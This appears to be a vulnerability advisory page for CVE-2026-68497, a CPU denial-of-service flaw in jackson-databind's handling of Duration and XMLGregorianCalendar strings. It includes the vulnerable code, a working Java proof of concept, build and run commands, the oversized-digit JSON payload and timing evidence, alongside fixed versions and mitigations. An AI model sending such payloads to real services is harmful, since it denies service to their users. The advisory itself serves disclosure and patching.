CVE-2026-68497 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in tools.jackson.core:jackson-databind. A fix is available for tools.jackson.core:jackson-databind — see the affected versions and patch details below.
jackson-databind: unbounded numeric parse in Duration and XMLGregorianCalendar deserialization allows CPU denial of service
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-68497.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-68497 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
tools.jackson.core:jackson-databind☕tools.jackson.core:jackson-databind☕com.fasterxml.jackson.core:jackson-databind☕com.fasterxml.jackson.core:jackson-databind☕com.fasterxml.jackson.core:jackson-databindReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into java.math.BigInteger / BigDecimal using the native BigInteger(String) constructor (an O(n²) parser). Because the digits reside inside a JSON string token, jackson-core's StreamReadConstraints.maxNumberLength guard (which bounds only JSON number tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default JsonMapper.builder().build() mapper with no polymorphic typing or special configuration.
Details
StreamReadConstraints.maxNumberLength (jackson-core, default 1000) bounds the text length of JSON number tokens only; it does not apply to digits inside a JSON string token (maxStringLength default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — NumberDeserializers explicitly call streamReadConstraints().validateIntegerLength(text.length()) / validateFPLength(text.length()) before parsing a stringified number (NumberDeserializers.java:1063, :1139). The XML-datatype deserializer omits this identical pre-check.
CoreXMLDeserializers registers Std deserializers by default for any field typed javax.xml.datatype.Duration or XMLGregorianCalendar (findBeanDeserializer), with no opt-in required. Std._deserialize hands the attacker string straight to the datatype factory:
protected Object _deserialize(String value, DeserializationContext ctxt) {
switch (_kind) {
case TYPE_DURATION:
return _dataTypeFactory.newDuration(value); // attacker lexical string
case TYPE_G_CALENDAR:
Date d;
try { d = _parseDate(value, ctxt); }
catch (DatabindException e) {
return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string
}
return _gregorianFromDate(ctxt, d);
}
throw new IllegalStateException();
}
Per the XSD lexical rules, newDuration parses each numeric component (years, months, …) into a BigInteger, and newXMLGregorianCalendar parses fractional seconds into a BigDecimal. The JDK uses the native BigInteger(String) / BigDecimal(String) constructors, which are O(n²) in the digit count. A short JSON string such as "P" + "9"×N + "Y" therefore forces the allocation and O(N²) parse of an N-digit BigInteger, entirely downstream of every jackson-core constraint.
Vulnerable Code Location
src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137—newDuration(value)(TYPE_DURATION)src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147—newXMLGregorianCalendar(value)(TYPE_G_CALENDAR fallback)- Registration (default, no opt-in):
src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46(findBeanDeserializerreturnsStdforXMLGregorianCalendar/Duration) - Contrast — correct length-guard pattern already used elsewhere in the library:
src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139
Proof of Concept
PoC source (Vuln07_DurationDoS.java). It uses only the public ObjectMapper.readValue API and a default mapper; the only "special" element is a normal DTO exposing a javax.xml.datatype.Duration field.
package com.poc;
import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import javax.xml.datatype.Duration;
/**
* Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization.
* A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration.
*/
public class Vuln07_DurationDoS {
public static class Cfg { public Duration ttl; }
public static void main(String[] args) throws Exception {
ObjectMapper mapper = JsonMapper.builder().build();
int digits = Integer.getInteger("digits", 5_000_000);
// Baseline small parse.
long t0 = System.nanoTime();
mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class);
long tBase = System.nanoTime() - t0;
System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms");
String big = "P" + "9".repeat(digits) + "Y";
String json = "{\"ttl\":\"" + big + "\"}";
System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)");
long t1 = System.nanoTime();
try {
Cfg c = mapper.readValue(json, Cfg.class);
long dt = System.nanoTime() - t1;
System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger");
System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a "
+ json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)");
} catch (Throwable t) {
long dt = System.nanoTime() - t1;
System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage());
}
}
}
Minimal HTTP-shaped payload (what an attacker sends):
{ "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000
An XMLGregorianCalendar field is equally affected via the fractional-seconds path, e.g.
{ "at": "0000-01-01T00:00:00." + "9"×N }.
Execution Steps
The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain javac/java (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache ~/.m2, but any copy works).
# 0. Locate the three dependency jars (published Maven artifacts).
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"
# If not already cached, fetch them once, e.g.:
# mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1
# (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)
# 1. Compile with javac (single source file).
mkdir -p out
javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java
# 2. Quick confirmation (~11 s): 1,000,000-digit year component.
java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS
# 3. Full-severity demonstration (~293 s): 5,000,000-digit year component.
java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS
The digits system property controls the number of 9 characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 maxStringLength to scale cost further.
Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default JsonMapper.builder().build().
Reproduction Evidence
Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:
digits = 5,000,000 (~5 MB payload):
Baseline (P1Y) parse: 27 ms
Payload JSON size ~ 5000012 bytes (year component = 5000000 digits)
Parsed giant Duration in 293175 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)
digits = 1,000,000 (~1 MB payload, for fast repeatability):
Baseline (P1Y) parse: 53 ms
Payload JSON size ~ 1000012 bytes (year component = 1000000 digits)
Parsed giant Duration in 11155 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)
Interpretation: a normal "P1Y" value parses in tens of milliseconds; a ~1 MB attacker payload consumes ~11 s and a ~5 MB payload ~293 s of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) BigInteger(String) constructor. The cost occurs inside DatatypeFactory.newDuration, downstream of jackson-core's StreamReadConstraints (independently confirmed: the same digit sequence supplied as a bare JSON number token is rejected with StreamConstraintsException, whereas inside a string token it is not bounded).
Impact
An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large BigInteger/BigDecimal from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a javax.xml.datatype.Duration or XMLGregorianCalendar field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.
Recommended Fix
Apply the same validate-length-then-parse idiom the core NumberDeserializers already use:
- In
CoreXMLDeserializers.Std._deserialize, enforce a maximum raw-string length before callingnewDuration(value)/newXMLGregorianCalendar(value)— e.g. reject inputs longer thanctxt.streamReadConstraints().getMaxNumberLength()(or a dedicated bound), routing over-length input throughctxt.handleWeirdStringValue(...). - Alternatively, validate the lexical form against a bounded regex and cap the digit count
of each numeric component before delegating to
DatatypeFactory. - Document that
Duration/XMLGregorianCalendarfields bound from untrusted input must be length-limited at the transport layer.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | tools.jackson.core:jackson-databind | ≥ 3.2.0&&< 3.2.2 | 3.2.2tools.jackson.core:jackson-databind:3.2.2 |
| ☕Maven | tools.jackson.core:jackson-databind | ≥ 3.0.0&&< 3.1.6 | 3.1.6tools.jackson.core:jackson-databind:3.1.6 |
| ☕Maven | com.fasterxml.jackson.core:jackson-databind | ≥ 2.14.0&&< 2.18.10 | 2.18.10com.fasterxml.jackson.core:jackson-databind:2.18.10 |
| ☕Maven | com.fasterxml.jackson.core:jackson-databind | ≥ 2.19.0&&< 2.21.6 | 2.21.6com.fasterxml.jackson.core:jackson-databind:2.21.6 |
| ☕Maven | com.fasterxml.jackson.core:jackson-databind | ≥ 2.22.0&&< 2.22.2 | 2.22.2com.fasterxml.jackson.core:jackson-databind:2.22.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tools.jackson.core:jackson-databind, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tools.jackson.core:jackson-databind to 3.2.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-68497 is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A flaw in jackson-databind allows remote attackers to consume excessive CPU by submitting specially crafted JSON with unbounded numeric values, causing a denial of service.
Upgrade jackson-databind to 2.18.10, 2.21.6, 2.22.2, or later fixed releases as applicable. Until updated, restrict untrusted JSON input size and complexity.Source: Red Hat security advisory for CVE-2026-68497 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat build of Apache Camel 4.18.4 for Spring Boot 3.5.16 | jackson-databind | RHSA-2026:71675 |
| Red Hat Lightspeed (formerly Insights) for Runtimes 1.0 | rh-lightspeed-runtimes/runtimes-agent-init-rhel9:1790202798 | RHSA-2026:73521 |
Frequently Asked Questions
Is CVE-2026-68497 in your dependencies?
Find it across Maven, including transitive dependencies.